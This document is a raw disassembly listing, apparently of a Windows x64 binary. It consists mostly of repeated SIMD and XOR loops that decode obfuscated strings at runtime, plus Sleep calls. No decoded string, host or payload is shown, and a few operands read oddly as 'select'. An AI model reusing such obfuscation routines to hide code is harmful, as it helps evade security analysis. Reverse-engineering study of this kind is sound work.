lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x340]
call fcn.140045ad0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x390], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3a0], xmm1
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x318], xmm1
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], rbx
lea rax, [rbp + 0x394]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140042425
lea rdx, [rbp + 0x394]
lea rcx, [rbp + 0x318]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140042496
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042491
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044061
call fcn.140067fe0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], select
mov byte [rbp + 0x318], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400424ec
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400424e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044068
call fcn.140067fe0
movups xmm0, xmmword [0x1400db258]
movups xmmword [rbp - 0x58], xmm0
movzx eax, byte [0x1400db268]
mov byte [rbp - 0x48], al
mov r8d, ebx
cmp esi, 2
jl 0x140042657
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140042550
cmp r8d, 0x11
jge 0x1400426a0
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140042670
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400426a4
lea r8, [rbp - 0x58]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400426c0
movups xmm0, xmmword [0x1400db2d0]
movups xmmword [rbp + 0xc8], xmm0
movsd xmm1, qword [0x1400db2e0]
movsd qword [rbp + 0xd8], xmm1
movzx eax, word [0x1400db2e8]
mov word [rbp + 0xe0], ax
cmp byte [0x1400db2e9], 0
je 0x1400428a0
mov r8d, ebx
cmp esi, 2
jl 0x140042857
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xcc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140042750
cmp r8d, 0x1a
jge 0x1400428a0
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140042870
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400428a4
lea r8, [rbp + 0xc8]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400428c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov byte [rbp + 0x3d0], 0
xor edx, edx
lea rcx, [rbp + 0x3d8]
call fcn.140051410
nop
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x3b8], 0xb40a126d
mov dword [rbp + 0x3bc], 0x361db03e
mov dword [rbp + 0x3c0], 0x3708b788
mov dword [rbp + 0x3c4], 0x45311429
mov r8d, 0xb40a126d
lea rdx, [rbp + 0x3bc]
lea rcx, [rbp + 0x278]
call fcn.140046370
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm1
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rax, [rbp + 0x344]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140042970
lea rdx, [rbp + 0x344]
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
xor eax, eax
mov qword [rbp + 0x148], rax
mov byte [rbp + 0x140], 3
lea ecx, [rax + 0x20]
call fcn.1400686c4
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], select
mov byte [rsp + 0x30], 0
mov qword [rbp + 0x148], rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x150], rax
mov byte [rbp + 0x158], 1
xor eax, eax
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x160], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea ecx, [rax + 0x20]
call fcn.1400686c4
mov rdi, rax
lea rax, [rbp + 0x3c8]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x1400f39c0]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140042a40
mov rdx, rax
mov rcx, rdi
call fcn.140053790
mov qword [rbp + 0x348], rbx
mov qword [rbp + 0x168], rdi
lea rax, [rbp + 0x160]
mov qword [rbp + 0x170], rax
mov byte [rbp + 0x178], 1
lea rcx, [rbp + 0x180]
call fcn.140053280
nop
lea rax, [rbp + 0x140]
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1a0]
call fcn.14004f420
mov rdi, rax
mov dword [rbp + 0x318], 0xb40a126d
movdqa xmm0, xmmword [0x1400e2880]
movdqu xmmword [rbp + 0x31c], xmm0
mov r8d, 0xb40a126d
lea rdx, [rbp + 0x31c]
lea rcx, [rbp + 0x390]
call fcn.1400460f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
mov eax, dword [rax + 0x10]
mov dword [rbp + 0x350], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], rbx
mov qword [rbp + 0x380], rbx
lea rax, [rbp + 0x344]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140042b23
lea rdx, [rbp + 0x344]
lea rcx, [rbp + 0x368]
call fcn.140053790
nop
movzx eax, byte [rbp + 0x3d0]
test al, al
jne 0x140042b6b
mov byte [rbp + 0x3d0], 1
call fcn.1400536f0
mov rcx, rax
mov qword [rbp + 0x3d8], rax
movzx eax, byte [rbp + 0x3d0]
jmp 0x140042b72
mov rcx, qword [rbp + 0x3d8]
cmp al, 1
jne 0x140044084
lea r8, [rbp + 0x368]
lea rdx, [rbp - 0x80]
call fcn.140053a80
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rdi]
mov byte [r8 + 0x40], al
mov byte [rdi], cl
lea rcx, [rdi + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rdi]
call fcn.140050f80
nop
mov rdx, qword [rbp + 0x380]
cmp rdx, 0x10
jb 0x140042bf7
inc rdx
mov rcx, qword [rbp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042bf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004406f
call fcn.140067fe0
mov qword [rbp + 0x378], rbx
mov qword [rbp + 0x380], select
mov byte [rbp + 0x368], 0
lea r9, [fcn.140046ce0]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp + 0x140]
call fcn.140067f10
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3d0]
call fcn.14004f180
nop
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rax, qword [rsp + 0x30]
mov qword [rbp + 0x120], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x120]
mov rcx, r14
call fcn.140053390
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140042cb0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042cab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044076
call fcn.140067fe0
lea rax, [0x1400f3a40]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], 0x13898
lea rdx, [rbp + 0x130]
mov rcx, r14
call fcn.140053470
mov rdi, rax
movsd xmm0, qword [0x1400d9540]
movsd qword [rbp - 0x68], xmm0
mov ecx, dword [0x1400d9548]
mov dword [rbp - 0x60], ecx
movzx ecx, word [0x1400d954c]
mov word [rbp - 0x5c], cx
cmp byte [0x1400d954d], 0
je 0x140042e60
mov r8d, ebx
cmp esi, 2
jl 0x140042e1e
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400e2800]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e2830]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
mov eax, dword [0x1400e2900]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1400d9540]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x1400e2820]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e2830]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140042e30
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140042e64
lea r8, [rbp - 0x68]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140042e80
lea r9, [rbp + 0x3a5]
mov r8, rdi
movabs r12, 0xcccccccccccccccd
nop dword [rax]
nop dword [rax + rax]
dec r9
mov rax, r12
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140042eb0
lea r12d, [rdx + 4]
lea r8, [rbp + 0x3a5]
mov rdx, r9
lea rcx, [rbp + 0x1b0]
call fcn.140055b90
lea r8, [rbp + 0x1b0]
mov r10, qword [rbp + 0x1c8]
cmp r10, 0x10
setae r11b
mov r9, qword [rbp + 0x1b0]
cmovae r8, r9
lea rcx, [r15 - 1]
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140042f20
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140042f30
test r11b, r11b
je 0x140042f76
lea rdx, [r10 + 1]
mov rax, r9
cmp rdx, 0x1000
jb 0x140042f6e
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004407d
mov rcx, r9
call fcn.140067fe0
movups xmm0, xmmword [0x1400db3e0]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x1400db3f0]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1400db3f4]
mov byte [rbp - 0x2c], al
mov r8d, ebx
cmp esi, 2
jl 0x1400430e7
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140042fe0
cmp r8d, 0x15
jge 0x140043130
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140043100
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140043134
lea r8, [rbp - 0x40]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140043150
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, rdi
lea rcx, [0x1400f3a40]
call fcn.14005b1c0
movups xmm0, xmmword [0x1400db360]
movups xmmword [rbp - 0x28], xmm0
mov eax, dword [0x1400db370]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x1400db374]
mov byte [rbp - 0x14], al
mov r8d, ebx
cmp esi, 2
jl 0x1400432e7
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400431e0
cmp r8d, 0x15
jge 0x140043330
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140043300
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140043334
lea r8, [rbp - 0x28]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140043350
mov dword [rbp + 0x390], 0xb40aee6d
movdqa xmm0, xmmword [0x1400e2d90]
movdqu xmmword [rbp + 0x394], xmm0
movdqa xmm1, xmmword [0x1400e28d0]
movdqu xmmword [rbp + 0x3a4], xmm1
mov r8d, 0xb40aee6d
lea rdx, [rbp + 0x394]
lea rcx, [rbp + 0x318]
call fcn.140044b10
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x388], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400433e1
lea rdx, [rbp + 0x36c]
lea rcx, [rsp + 0x30]
call fcn.140053790
lea rcx, [rsp + 0x30]
call fcn.14003f810
movups xmm0, xmmword [0x1400d9cc8]
movups xmmword [rbp - 0x10], xmm0
mov eax, dword [0x1400d9cd8]
mov dword [rbp], eax
movzx eax, word [0x1400d9cdc]
mov word [rbp + 4], ax
cmp byte [0x1400d9cdd], 0
je 0x1400435d0
mov r8d, ebx
cmp esi, 2
jl 0x140043587
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0xc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140043480
cmp r8d, 0x16
jge 0x1400435d0
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400435a0
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400435d4
lea r8, [rbp - 0x10]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400435f0
mov dword [rbp + 0x390], 0xb40aea6d
movdqa xmm0, xmmword [0x1400e2d60]
movdqu xmmword [rbp + 0x394], xmm0
mov dword [rbp + 0x3a4], 0xa683d88a
mov r8d, 0xb40aea6d
lea rdx, [rbp + 0x394]
lea rcx, [rbp + 0x340]
call fcn.140046590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x318], xmm0
movsd xmm1, qword [rax + 0x10]
movsd qword [rbp + 0x328], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rax, [rbp + 0x31c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140043674
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x30]
call fcn.140053790
lea rcx, [rsp + 0x30]
call fcn.14003f810
movups xmm0, xmmword [0x1400db560]
movups xmmword [rbp + 0xa8], xmm0
movsd xmm1, qword [0x1400db570]
movsd qword [rbp + 0xb8], xmm1
movzx eax, word [0x1400db578]
mov word [rbp + 0xc0], ax
cmp byte [0x1400db579], 0
je 0x140043870
mov r8d, ebx
cmp esi, 2
jl 0x140043827
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xac]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
